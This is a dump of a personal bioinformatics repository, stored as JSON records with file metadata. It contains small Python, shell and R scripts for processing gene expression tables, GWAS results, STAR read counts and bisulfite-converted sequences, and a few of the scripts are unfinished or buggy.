3355d27a542f8d4ade76d7f9cec6a3b3a49ce737
c0244828f1ecb50e796989e856ce594b8c920e46
refs/heads/master
2023-05-06T11:55:12.223634
2023-04-12T17:54:42
2023-04-12T17:54:42
151,643,013
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.544224739074707, "alphanum_fraction": 0.5515088438987732, "avg_line_length": 44.761905670166016, "blob_id": "3cf3b4eb5ee274e18b2c421ee2a3a15e8122789b", "content_id": "7acfa8f6b3cbd5c11ae8b6a05588ac322e03a957", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 961, "license_type": "no_license", "max_line_length": 90, "num_lines": 21, "path": "/median_pos_analysis.py", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "#import csv\n#import numpy as np, scipy.stats as st\nwith open(\"median_data.txt\") as median_data:\n with open (\"pos_markers.txt\", 'w') as pos_markers:\n markers = median_data.readline().rstrip().split(\"\\t\")\n lines = median_data.readlines()\n average_value = lines[-1].rstrip().split('\\t')\n print(average_value)\n marker_average_dict = {}\n for i in range (1, len(markers)):\n marker_average_dict[markers[i]] = average_value[i]\n for line in lines[0:-1]:\n values = line.rstrip().split('\\t')\n pos_markers.write(values[0] + '\\t')\n marker_value_dict = {}\n for v in range (1, len(markers)):\n marker_value_dict[markers[v]] = values[v]\n for marker in markers[1:]:\n if float(marker_value_dict[marker]) >= float(marker_average_dict[marker]):\n pos_markers.write(marker + ', ')\n pos_markers.write('\\n')\n" }, { "alpha_fraction": 0.46315789222717285, "alphanum_fraction": 0.4815789461135864, "avg_line_length": 37, "blob_id": "67830a4000c5770f1626182b24c44f56808ec390", "content_id": "2236d728c8f70538f6cafb2cbae1c634604673a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 380, "license_type": "no_license", "max_line_length": 66, "num_lines": 10, "path": "/fpkm_gen.py", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "with open('genes.read_group_tracking') as fpkm_orig:\n with open('fpkm_table.txt', 'w') as fpkm_target:\n next(fpkm_orig)\n n = 0\n for line in fpkm_orig:\n n = n + 1\n fields = line.rstrip().rsplit('\\t')\n fpkm_target.write(fields[0] + '\\t' + fields[6] + '\\t')\n if n % 12 == 0:\n fpkm_target.write('\\n')\n" }, { "alpha_fraction": 0.4725111424922943, "alphanum_fraction": 0.5780088901519775, "avg_line_length": 50.769229888916016, "blob_id": "f169d3ad0990fd02ed87f7a1d3c6c3bcfb73f548", "content_id": "3c13134933de191e8806706950934a57731359df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 673, "license_type": "no_license", "max_line_length": 106, "num_lines": 13, "path": "/gwas.py", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "with open('CARDIoGRAM_GWAS_RESULTS.txt') as gwas:\n firstline = gwas.readline()\n lines = gwas.readlines()\n with open('CARDIoGRAM_q23.31.txt', 'w') as gwas_q2331, open('CARDIoGRAM_q23.2.txt', 'w') as gwas_q232:\n gwas_q232.write(firstline)\n gwas_q2331.write(firstline)\n for line in lines:\n fields = line.split('\\t')\n ChrPos = fields[1].split(':')\n if ChrPos[0] == 'chr10' and int(ChrPos[1]) >= 89600001 and int(ChrPos[1]) <= 89718512:\n gwas_q2331.write(line)\n elif ChrPos[0] == 'chr10' and int(ChrPos[1]) <= 89600000 and int(ChrPos[1]) >= 87900001:\n gwas_q232.write(line)\n" }, { "alpha_fraction": 0.6479859948158264, "alphanum_fraction": 0.6602451801300049, "avg_line_length": 29.052631378173828, "blob_id": "ebaefbf2042975bfb116d0dc23ec6639d464c3f5", "content_id": "b6c4d106ae12adc24a7ad25712a941d40d6ad5d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 571, "license_type": "no_license", "max_line_length": 83, "num_lines": 19, "path": "/bulk_seq/scripts/STAR_create_count_mtx.sh", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\nmkdir tmp\ntouch tmp/tmp.out\nfor sample in `cat samples.txt`; do \\\n echo ${sample}\n cat ${sample}_ReadsPerGene.out.tab | tail -n +5 | cut -f4 > tmp/${sample}.count\n sed -i \"1s/^/${sample}\\n/\" tmp/${sample}.count\ndone\nSTR=\"\"\nfor i in `cat samples.txt`\ndo\n STR=$STR\"tmp/\"$i\".count \"\ndone\npaste $STR > tmp/tmp.out\n#generate the gene list column\nline=$(head -n 1 samples.txt)\ntail -n +5 ${line}_ReadsPerGene.out.tab | cut -f1 > tmp/geneids.txt\nsed -i '1s/^/Gene\\n/' tmp/geneids.txt\npaste tmp/geneids.txt tmp/tmp.out > tmp/final_count_table.txt\n" }, { "alpha_fraction": 0.5973333120346069, "alphanum_fraction": 0.6106666922569275, "avg_line_length": 40.72222137451172, "blob_id": "f8e3a5e956965a686e46285d61ea4e15766684e1", "content_id": "12715a808849cf17ae8033c665e4a9d138977b0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 750, "license_type": "no_license", "max_line_length": 84, "num_lines": 18, "path": "/id_symbol.py", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "with open(\"GPL13912_old_annotations.txt\") as gene_annotation:\n lines = gene_annotation.readlines()\n gene_annotation_dict = {}\n for line in lines:\n gene = line.rstrip().split('\\t')\n try:\n gene_annotation_dict[gene[0]] = gene[1]\n except IndexError:\n pass\nwith open(\"geo2r.txt\") as gene_expression:\n first_line = gene_expression.readline()\n lines = gene_expression.readlines()\n with open(\"myupgenes_name.txt\", 'w') as target_file:\n target_file.write(first_line)\n for line in lines:\n expression = line.rstrip().split(\"\\t\")\n if expression[0] in gene_annotation_dict.keys():\n target_file.write(gene_annotation_dict[expression[0]] + \"\\t\" + line)" }, { "alpha_fraction": 0.6606136560440063, "alphanum_fraction": 0.6662492156028748, "avg_line_length": 37.95121765136719, "blob_id": "95a536f72fe4bcaea0ff075c04017a4700580416", "content_id": "cc5cfedf062de22832c1349037aa7da488cc3383", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1597, "license_type": "no_license", "max_line_length": 103, "num_lines": 41, "path": "/generate_gene_sig_tb.py", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# This script is for generating suitable input for CellAssign using a table\n# with a cell type and correponding gene in each line\ndef get_genelist_file(filename):\n with open(filename) as genelist_file:\n genelist = [line.rstrip() for line in genelist_file]\n non_redundant_genelist = list(set(genelist))\n return non_redundant_genelist\ngreeting_message = \"Please provide the file name for the gene signature file: \"\nfilename = input(greeting_message)\ntry:\n f = open(filename, \"r\")\nexcept:\n print(\"file is not found, please check your file name/path.\")\n# first create a dict where the keys correspond to cell types while the list contained has marker genes\ngene_list = []\nmarker_dict = {}\nfor x in f:\n line_list = x.split(\"\\t\")\n gene_list.append(line_list[1].rstrip())\n if line_list[0] in marker_dict.keys():\n marker_dict[line_list[0]].append(line_list[1].rstrip())\n else:\n marker_dict[line_list[0]] = [line_list[1].rstrip()]\ngene_list_uniq = list(set(gene_list))\nf.close()\nsave_message = \"Please provide the file name for saving the generated file: \"\ntarget_file_name = input(save_message)\ntarget_file = open(target_file_name, \"w\")\nfirst_line = 'Gene,' + ','.join(marker_dict.keys()) + '\\n'\ntarget_file.write(first_line)\nfor gene in gene_list_uniq:\n line_list = []\n for cell in marker_dict.keys():\n if gene in marker_dict[cell]:\n line_list.append('1')\n else:\n line_list.append('0')\n line = gene + ',' + ','.join(line_list) + '\\n'\n target_file.write(line)\ntarget_file.close()\n" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.7352941036224365, "avg_line_length": 62, "blob_id": "987edda314727743152443c191bbd164bac29c53", "content_id": "deb7085445f808fb919ac00950c8a7b05ecd2ad8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 68, "license_type": "no_license", "max_line_length": 62, "num_lines": 1, "path": "/immgen/pull_genes.py", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "with open \"GSE109125_Gene_count_table.csv\" as expression_file:\n \n" }, { "alpha_fraction": 0.628227174282074, "alphanum_fraction": 0.6376936435699463, "avg_line_length": 32.20000076293945, "blob_id": "c6b085644bbecf47b170ca45918b0d87bc3817a7", "content_id": "ca5ec92ca3cde124d1369fe83bcc952f82180676", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1162, "license_type": "no_license", "max_line_length": 125, "num_lines": 35, "path": "/Bisulfite_convert_DNA.py", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# This script is for generating DNA sequence to what is expected after bisulfite conversion assuming all CpGs are methylated.\ngreeting_message = \"Please provide the fasta file for the bisulfite conversion : \"\nfilename = input(greeting_message)\noutput_filename = input('please provide output fasta file name: ')\nf = open(filename, \"r\")\nf_out = open(output_filename, 'w')\nfirst_line = f.readline()\nif first_line[0] == '>':\n print('input fasta file is valid')\n f_out.write(first_line)\nelse:\n print(\"please recheck input file format, the first line won't be converted by default. \")\nlines = f.readlines()\nseq = \"\"\nfor line in lines:\n clean_line = line.rstrip()\n seq += clean_line\nnew_seq = ''\nfor i in range(len(seq)-1):\n if seq[i] != \"C\":\n new_seq = new_seq + seq[i]\n elif seq[i+1] == \"G\":\n new_seq = new_seq + \"C\"\n else:\n new_seq = new_seq + \"T\"\nif seq[-1] == \"C\":\n print(\"Warning! The last base is a C, it won't be included in the output!\")\nelse:\n new_seq = new_seq + seq[-1]\nwhile len(new_seq) > 0:\n f_out.write(new_seq[:50] + '\\n')\n new_seq = new_seq[50:]\nf_out.close()\nf.close()\n" }, { "alpha_fraction": 0.5680719017982483, "alphanum_fraction": 0.5957152843475342, "avg_line_length": 41.588233947753906, "blob_id": "fe74af128fa1b541f6e5c97a3f49cf783d403d57", "content_id": "1e8a384934fa8c6315e61f3d279e42b3a9c04ca7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1447, "license_type": "no_license", "max_line_length": 83, "num_lines": 34, "path": "/list_comp.py", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "def compare_lists(list1, list2):\n overlap = []\n uniq_list1 = []\n non_rep_list1 = list(set(list1))\n non_rep_list2 = list(set(list2))\n uniq_list2 = non_rep_list2[:]\n for member in non_rep_list1:\n if member in non_rep_list2:\n uniq_list2.remove(member)\n overlap.append(member)\n else:\n uniq_list1.append(member)\n return non_rep_list1, non_rep_list2, overlap, uniq_list1, uniq_list2\ndef list_stat(list1, list2, overlap, uniq_list1, uniq_list2):\n with open (\"list_stat.txt\", 'w') as target_file:\n target_file.write(\n \"list1 size:\\t\" + str(len(list1)) + '\\n' +\n \"list2 size:\\t\" + str(len(list2)) + '\\n' +\n \"number of item in common:\\t\" + str(len(overlap)) + '\\n')\n target_file.write(\"overlap:\\t\" + '\\n')\n for m in overlap:\n target_file.write(m)\n target_file.write(\"uniq in list1:\\t\" + str(len(uniq_list1)) + '\\n')\n for uniq_1 in uniq_list1:\n target_file.write(uniq_1)\n target_file.write(\"uniq in list2:\\t\" + str(len(uniq_list2)) + '\\n')\n for uniq_2 in uniq_list2:\n target_file.write(uniq_2)\nwith open(\"lista.txt\") as pub_genes:\n pub_genelist = pub_genes.readlines()\nwith open(\"listb.txt\") as re_genes:\n re_genelist = re_genes.readlines()\nlist_input = compare_lists(pub_genelist, re_genelist)\nlist_stat(list_input[0], list_input[1], list_input[2], list_input[3],list_input[4])" }, { "alpha_fraction": 0.6763907670974731, "alphanum_fraction": 0.6770691871643066, "avg_line_length": 49.86206817626953, "blob_id": "e92da693d9bd8d21dcef62643252dcc65fc1586b", "content_id": "d65799ec122050b779d6f0d3c17b4efaf596ca81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1474, "license_type": "no_license", "max_line_length": 94, "num_lines": 29, "path": "/columnread.py", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "def read_patients_list(patients_list):\n \"\"\"read file containig list of patients, one per line.\"\"\"\n with open(patients_list) as selectpatients:\n lines = selectpatients.readlines()\n select_patients = []\n for line in lines:\n select_patients.append(line.rstrip())\n return select_patients\ndef enumerate_patients(expression_file, select_patients):\n \"\"\"generate list containing the numbers of patients of interest in the expression file.\"\"\"\n with open(expression_file) as expression:\n first_line = expression.readline().rstrip()\n patients = first_line.split('\\t')\n patients_enumerate = [i for i,x in enumerate(patients) if x in select_patients]\n patients_enumerate = [0] + patients_enumerate\n return patients_enumerate\npatients_list = input(\"Please enter full file name of the patient list file: \")\nselect_patients = read_patients_list(patients_list)\nexpression_file = input(\"Please enter full filename of the expression file: \")\nid_patients_of_interest = enumerate_patients(expression_file, select_patients)\nnew_file = input(\"Please enter name for file output: \")\nwith open(new_file, 'w') as new_list:\n with open(expression_file) as expression:\n lines = expression.readlines()\n for line in lines:\n fields = line.rstrip().split('\\t')\n for column in id_patients_of_interest:\n new_list.write(fields[column] + '\\t')\n new_list.write('\\n')" }, { "alpha_fraction": 0.5975428223609924, "alphanum_fraction": 0.6023827195167542, "avg_line_length": 34.813331604003906, "blob_id": "18779a18dbd84af0333d489f50260bca33e5d2f3", "content_id": "c68485265576c1138681272b1fe35872ba80cf48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2686, "license_type": "no_license", "max_line_length": 91, "num_lines": 75, "path": "/fpkm_pull.py", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\ndef pathway_input():\n \"\"\"Accept pathway input and store in a list\"\"\"\n pathways = []\n while True:\n message = \"Please enter the pathways of interest, enter q when done: \"\n pathway = input(message)\n if pathway == 'q':\n break\n else:\n pathways.append(pathway)\n return pathways\n\n\ndef get_genelist_kegg(pathway):\n import urllib.request\n genelist = []\n url = \"http://rest.kegg.jp/get/\" + pathway\n with urllib.request.urlopen(url) as kegg_pathway:\n lines = kegg_pathway.readlines()\n for line in lines:\n fields = line.split()\n if fields[0].decode('utf8') == 'GENE':\n genelist.append(fields[2].decode('utf8').rstrip(';'))\n else:\n try:\n int(fields[0])\n genelist.append(fields[1].decode('utf8').rstrip(';'))\n except ValueError:\n pass\n return genelist\n\n\ndef get_genelist_file(filename):\n with open(filename) as genelist_file:\n genelist = [line.rstrip() for line in genelist_file]\n non_redundant_genelist = list(set(genelist))\n return non_redundant_genelist\n\n\ndef fpkm_filter_keyword(candidates):\n message = \"Please type the full file name of the input FPKM file: \"\n input_fpkm = input(message)\n with open(input_fpkm) as fpkm_input:\n firstline = fpkm_input.readline().rstrip()\n lines = fpkm_input.readlines()\n print(firstline)\n col = input(\"Please identify the column number containing the ID in genelist: \")\n col_py = int(col) - 1\n filename = input(\"Please type a name for the generated FPKM table: \")\n with open(filename, 'w') as fpkm_output:\n fpkm_output.write(firstline + '\\n')\n for line in lines:\n line_split = line.split('\\t')\n for candidate in candidates:\n if candidate == line_split[col_py]:\n fpkm_output.write(line)\n\n\ngreeting_message = \"Please select 1 for kegg pathway input or 2 for gene list file input: \"\nselection = input(greeting_message)\nif selection == \"1\":\n pathway_list = pathway_input()\n genelist = []\n for pathway in pathway_list:\n genelist = genelist + get_genelist_kegg(pathway)\n #print(genelist)\n fpkm_filter_keyword(genelist,col)\nelif selection == \"2\":\n genelist_file_message = \"Please enter name of the file that contains the genelist: \"\n genelist_file = input(genelist_file_message)\n genelist = get_genelist_file(genelist_file)\n fpkm_filter_keyword(genelist)\nelse:\n print(\"Invalid input, please try again\")\n" }, { "alpha_fraction": 0.6028673648834229, "alphanum_fraction": 0.7053763270378113, "avg_line_length": 54.79999923706055, "blob_id": "3eb01d1a094bcf63c8d217b0a639b578d60ca966", "content_id": "0e98bf411ad4a55521f9fc9a871c9522fd26800a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 1395, "license_type": "no_license", "max_line_length": 143, "num_lines": 25, "path": "/gwas.R", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "library(tidyverse)\nlibrary(magrittr)\nsetwd(\"~/GWAS/\")\nCARDIoGRAM <- read.delim(\"CARDIoGRAM_GWAS_RESULTS.txt\")\nCARD <- as_tibble(CARDIoGRAM)\nCARD_igv <- select(CARD, chr_pos_.b36.,SNP,pvalue)\nCARD_igv_final <- separate(CARD_igv, chr_pos_.b36., into=c(\"CHR\", \"BP\"))\nfilter(CARD_igv_final, SNP %in% c(\"rs17062853\", \"rs12202017\", \"rs12524865\", \"rs9493752\", \"rs2327429\", \"rs2327433\", \"rs12190287\", \"rs11206510\"))\nwrite_delim(CARD_igv_final, \"./CARD_igv.gwas\", col_names = TRUE)\n\nUKBB_raw <- read.delim(\"C4D_CAD_DISCOVERY_METAANALYSIS_UPDATE.TXT\")\nUKBB <- as_tibble(UKBB_raw)\nC4D_igv <- select(C4D, CHR_POSB36,SNP,pvalue=PVALUE)\nC4D_igv_final <- separate(C4D_igv, CHR_POSB36, into=c(\"CHR\", \"BP\"))\nfilter(C4D, SNP %in% c(\"rs17062853\", \"rs12202017\", \"rs12524865\", \"rs9493752\", \"rs2327429\", \"rs2327433\", \"rs12190287\"))\nwrite_delim(C4D_igv_final, \"./C4D_igv.gwas\", col_names = TRUE)\n\nUKBB_raw <- read.delim(\"UKBB.GWAS1KG.EXOME.CAD.SOFT.META.PublicRelease.300517.txt\")\nUKBB <- as_tibble(UKBB_raw)\nUKBB_igv_final <- select(UKBB, CHR=chr, BP=bp_hg19, SNP=snptestid, pvalue=p.value_gc)\nUKBB_igv_final_sig <- filter(UKBB_igv_final, pvalue<= 5*10^-8)\nUKBB_igv_final_sig_dn <- drop_na(UKBB_igv_final_sig)\nUKBB_igv_final_dn <- drop_na(UKBB_igv_final)\nwrite_delim(UKBB_igv_final_dn, \"./UKBB_igv_final_dn.gwas\", col_names = TRUE)\nwrite_delim(UKBB_igv_final_sig_dn, \"./UKBB_igv_final_sig_dn.gwas\", col_names = TRUE)\n" }, { "alpha_fraction": 0.5410199761390686, "alphanum_fraction": 0.5498891472816467, "avg_line_length": 36.58333206176758, "blob_id": "f645b0cbc5bb20de6a0569dbf97cf95be3b0b7d9", "content_id": "b2f0a4be052dc87dfe03cb84377353484d5610cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 451, "license_type": "no_license", "max_line_length": 60, "num_lines": 12, "path": "/id2name.py", "repo_name": "resol341/bioinfostuff", "src_encoding": "UTF-8", "text": "with open(\"index.txt\") as index:\n dict = {}\n for line in index:\n fields = line.rstrip().rsplit('\\t')\n dict[fields[0]] = fields[1]\nwith open(\"fpkm_table.txt\") as orig_fpkm:\n with open (\"fpkm_table_name.txt\", 'w') as target_fpkm:\n next (orig_fpkm)\n for line in orig_fpkm:\n fields = line.rstrip().rsplit('\\t')\n print(dict[fields[0]])\n target_fpkm.write(dict[fields[0]] + \"\\t\" + line)\n" } ]
13
edvardasast/intercom-translate
https://github.com/edvardasast/intercom-translate
dd2f2db9c56063acddfed9418ebff838aa8978d7
d786f4395745b50bd12f5959cedd264c14d0dc5e
41eba5817023c6260d1e8d78bd17b3ef9c426703
refs/heads/master
2023-03-16T03:25:20.248690
2018-01-11T18:43:16
2018-01-11T18:43:16
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7566531896591187, "alphanum_fraction": 0.764743447303772, "avg_line_length": 50.61538314819336, "blob_id": "fb2c0fd75abf1cf4ff94827aed70f7261af09cca", "content_id": "be1226a58d4c5011412385d3f933bbebc4e46c2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4697, "license_type": "no_license", "max_line_length": 260, "num_lines": 91, "path": "/README.md", "repo_name": "edvardasast/intercom-translate", "src_encoding": "UTF-8", "text": "# intercom-translate\n\n## What is it?\n\nIntercom is a customer support platform that allows businesses to chat with prospective and existing customers within their app, on their website, through social media, or via email.\n\nAs awesome as intercom is, every company almost always faces the problem of supporting customers worldwide due to the language barrier. Solving this problem is this webhook that receives message in any language, and replies back in the same language.\n\n## How it works?\n\n### Workflow\n\nLets consider a hypothetical situation where CompanyX is using Intercom and has enabled this webhook. Say I am a French guy who knows French and only French while the support team at CompanyX knows only English. So my interaction with CompanyX goes as follows:\n\n1. I write my query as \"Comment utiliser votre produit\" which means \"How to use your product\".\n2. The support team at CompanyX gets this message \"Comment utiliser votre produit\" and also an internal note which contains the translation i.e \"How to use your product\" and the language code i.e. \"fr\".\n3. Now the support team knows only english. So they write an internal note saying \"/translate fr\" where `/translate` is the keyword for translating, `fr` is the language code.\n4. Once the translate mode is on, the support team writes an internal note saying \"Please read our documentation.\"\n4. I will get a reply from the support team saying \"Veuillez lire notre documentation\".\n\nSmoothe. Isn't it?\n\n### Internal Implementation\n\n1. When the user sends a message, it is sent to the webhook by intercom.\n2. The webhook translates the message to English using the Google Translation API and writes it as an internal note to the team. (No action is taken if the source language is English)\n3. Now when the the team member writes an internal note using `/translate <language-code>`, the conversation ID and the language code is stored in the database.\n4. Now when a team member writes an internal note in a conversation, if there is a language code associated with that conversation in the database, it is translated to that lanuage and sent to the user.\n5. When the team member types `/translate off`, the entry is deleted from the database.\n\n## What does it use?\n\n1. [Hasura](https://hasura.io)\n2. [Intercom API](https://developers.intercom.com/v2.0/reference)\n3. [Google Cloud Translation API](https://cloud.google.com/translate/docs/)\n\n## How do I use it in my intercom workspace?\n\n1. Install [hasura CLI](https://docs.hasura.io/0.15/manual/install-hasura-cli.html)\n\n2. Get the project and `cd` into it.\n\n```\n$ hasura quickstart rishi/intercom-translate\n```\n3. Choose a default intercom admin to send translated messages. Find the [admin](https://developers.intercom.com/v2.0/reference#admins) id of that admin. Add it to your project secrets.\n\n```\n$ hasura secret update chatbot.admin.id <admin_id>\n```\n\n4. Create a webhook for your intercom workspace. Check the following three checkboxes:\n - New message from a user or lead\n - Reply from a user or lead\n - Note added to a conversation\n\n Add the URL as `https://bot.<cluster-name>.hasura-app.io/bot`. Run `hasura cluster status` to find your cluster name.\n\n5. Create an [access token](https://developers.intercom.com/v2.0/reference#personal-access-tokens-1) for your intercom workspace and add it to secrets as well.\n\n```\n$ hasura secret update chatbot.access.token <access_token>\n```\n\n6. Create a project on [Google Cloud Platform](https://console.cloud.google.com/home/dashboard) (it is free). Get the [API key](https://support.google.com/cloud/answer/6158862?hl=en) and add it to your project secrets.\n\n```\n$ hasura secret update translate.api.key <api_key>\n```\n\n7. Enable the [Google Cloud Translation API](https://console.cloud.google.com/apis/library/translate.googleapis.com) for your project on Google Cloud Platform.\n\n8. Finally, deploy the webhook using git push. Run these commands from the project directory.\n\n```\n$ git add .\n$ git commit -m \"First commit\"\n$ git push hasura master\n```\n\n It is all set. You can check the translation functionality in action in your intercom workspace.\n\n## How to build on top of this?\n\nThis webhook is written in Python using the Flask framework. The source code lies in `microservices/bot/app/src` directory. `server.py` is where you want to start modifying the code.\n\nIf you are using any extra python packages, just add them to `microservices/bot/app/src/requirements.txt` and they will be \"pip installed\" during the Docker build.\n\n## Support\n\nIf you happen to get stuck anywhere, please mail me at [email protected]. Alternatively, if you find a bug, you can raise an issue [here](https://github.com/wawhal/intercom-translate/issues).\n" }, { "alpha_fraction": 0.5734767317771912, "alphanum_fraction": 0.5752688050270081, "avg_line_length": 24.363636016845703, "blob_id": "a058573825dd16600f7b1a3f23ec089ad7855fcd", "content_id": "54a340137680bc949b7ebdfb3e9fa2683814bb90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 558, "license_type": "no_license", "max_line_length": 98, "num_lines": 22, "path": "/microservices/bot/app/src/googleTranslate.py", "repo_name": "edvardasast/intercom-translate", "src_encoding": "UTF-8", "text": "import requests\nimport json\nimport os\n\nfrom . import intercom\n\ntranslateApiKey = os.environ['TRANSLATE_API_KEY']\n\n\ndef translate(lang, text):\n translateUrl = \"https://translation.googleapis.com/language/translate/v2?key=\"+translateApiKey\n payload = {\n \"q\": text,\n \"target\": lang\n }\n\n r = requests.post(url=translateUrl, data=json.dumps(payload))\n respObj = r.json()\n print (\"Translate Response: \")\n print (respObj)\n print (\"==========================================================================\")\n return respObj\n" }, { "alpha_fraction": 0.5533923506736755, "alphanum_fraction": 0.5533923506736755, "avg_line_length": 30.98113250732422, "blob_id": "8cbf731f87e64752a0c5d6a982bd14240a0aad86", "content_id": "2af9ee473d548277286e071b5a338eb8ec30974b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1695, "license_type": "no_license", "max_line_length": 216, "num_lines": 53, "path": "/microservices/bot/app/src/intercom.py", "repo_name": "edvardasast/intercom-translate", "src_encoding": "UTF-8", "text": "import requests\nimport json\nimport os\n\naccessToken = os.environ['ACCESS_TOKEN']\nadminId = os.environ['ADMIN_ID']\n\n\n\ndef sendNote(convId, message):\n url = \"https://api.intercom.io/conversations/\" + convId + \"/reply\"\n bearer = \"Bearer \" + accessToken\n headers = {\n \"Authorization\": bearer,\n \"Content-type\": \"application/json\",\n \"Accept\": \"application/json\"\n }\n payload = {\n \"body\": message ,\n \"type\": \"admin\",\n \"admin_id\": adminId,\n \"message_type\": \"note\"\n }\n r = requests.post(url, data=json.dumps(payload), headers=headers)\n respObj = r.json()\n print (\"Send Note Responce: \")\n print (respObj)\n print (\"==========================================================================\")\n\ndef sendMessage(convId, message):\n url = \"https://api.intercom.io/conversations/\" + convId + \"/reply\"\n bearer = \"Bearer \" + accessToken\n headers = {\n \"Authorization\": bearer,\n \"Content-type\": \"application/json\",\n \"Accept\": \"application/json\"\n }\n payload = {\n \"body\": message ,\n \"type\": \"admin\",\n \"admin_id\": adminId,\n \"message_type\": \"open\"\n }\n r = requests.post(url, data=json.dumps(payload), headers=headers)\n respObj = r.json()\n print (\"Send Message Responce: \")\n print (respObj)\n print (\"==========================================================================\")\n\n\ndef buildNote(message, lang, translation):\n response = \"Original Message: \"+message+ \"\\nLanguage Code: \"+lang+\"\\nTranslation: \" + translation + \"\\n\\n To start translate mode, make an internal note saying '/translate language_code '\\nExample: /translate fr\"\n return response\n" }, { "alpha_fraction": 0.5746246576309204, "alphanum_fraction": 0.5799234509468079, "avg_line_length": 38.94117736816406, "blob_id": "6df8ab40e1bd2d1569941e10b2e4b0d3776c13ed", "content_id": "bd43eea1c9b10d297af74c380a6d58460134acf8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3397, "license_type": "no_license", "max_line_length": 147, "num_lines": 85, "path": "/microservices/bot/app/src/server.py", "repo_name": "edvardasast/intercom-translate", "src_encoding": "UTF-8", "text": "from src import app\nfrom flask import jsonify, request\n\nfrom . import intercom\nfrom . import googleTranslate\nfrom . import data\n\nimport requests\nimport json\nimport os\nimport re\n\nadminId = os.environ['ADMIN_ID']\n\[email protected](\"/\")\ndef main():\n return \"Intercom bot is running\"\n\[email protected](\"/bot\", methods=['POST'])\ndef bot():\n KEY = str(\"secret\")\n DATA = request.get_data()\n input = json.loads(DATA.decode())\n topic = input[\"topic\"]\n convId = input[\"data\"][\"item\"][\"id\"]\n print (\"Request Body: \")\n print (input)\n print (\"==========================================================================\")\n msgBody = \"\"\n if(topic == \"conversation.user.replied\"):\n msgArray = input[\"data\"][\"item\"][\"conversation_parts\"][\"conversation_parts\"]\n for msg in msgArray:\n msgBody = msgBody + msg[\"body\"] + \" \"\n respObj= googleTranslate.translate(\"en\", msgBody[3:-5])\n print (respObj)\n translationObj = respObj[\"data\"][\"translations\"][0]\n translation = translationObj[\"translatedText\"]\n lang = translationObj[\"detectedSourceLanguage\"]\n if (lang != \"en\"):\n response = intercom.buildNote(msgBody[3:-5], lang, translation)\n intercom.sendNote(convId, response)\n\n if (topic == \"conversation.user.created\"):\n msgBody = input[\"data\"][\"item\"][\"conversation_message\"][\"body\"]\n respObj= googleTranslate.translate(\"en\", msgBody[3:-5])\n print (respObj)\n translationObj = respObj[\"data\"][\"translations\"][0]\n translation = translationObj[\"translatedText\"]\n lang = translationObj[\"detectedSourceLanguage\"]\n if (lang != \"en\"):\n response = intercom.buildNote(msgBody[3:-5], lang, translation)\n intercom.sendNote (convId, response)\n\n\n if (topic == \"conversation.admin.noted\"):\n if (input[\"data\"][\"item\"][\"conversation_parts\"][\"conversation_parts\"][0][\"author\"][\"id\"] == adminId):\n return \"Ok\"\n msgArray = input[\"data\"][\"item\"][\"conversation_parts\"][\"conversation_parts\"]\n for msg in msgArray:\n msgBody = msgBody + msg[\"body\"] + \" \"\n text = msgBody[3:-5].strip()\n langMode = data.checkTranslateMode(convId)\n regex = r\"^(\\/translate)\\ (.*)\"\n match = re.search(regex, text)\n if (match and match.group(1) == '/translate'):\n if (match.group(2) == 'off'):\n data.turnOffTranslate(convId)\n infoNote = \"You are out of translate mode. Type '/translate language_code' to start translate mode again.\"\n intercom.sendNote(convId, infoNote)\n else:\n data.updateLanguageMode(convId, match.group(2))\n infoNote = \"You are in language mode '\" + match.group(2) + \"'.Please make an internal note saying '/translate off' to turn it off.\"\n intercom.sendNote(convId, infoNote)\n else:\n if (langMode != 'none'):\n respObj = googleTranslate.translate(langMode, text)\n if (\"error\" in respObj):\n intercom.sendNote(convId, \"Invalid Language code. Please set it again.\")\n return \"ok\"\n translationObj = respObj[\"data\"][\"translations\"][0]\n translation = translationObj[\"translatedText\"]\n\n intercom.sendMessage(convId, translation)\n\n return \"OK\"\n\n\n" }, { "alpha_fraction": 0.5325520634651184, "alphanum_fraction": 0.53515625, "avg_line_length": 23.774192810058594, "blob_id": "280b52a0e55be5bb82fc7fb65735e7a0536ef18f", "content_id": 